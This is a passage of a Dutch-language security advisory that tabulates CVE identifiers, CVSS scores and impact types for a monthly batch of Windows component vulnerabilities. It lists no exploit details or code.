\n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige 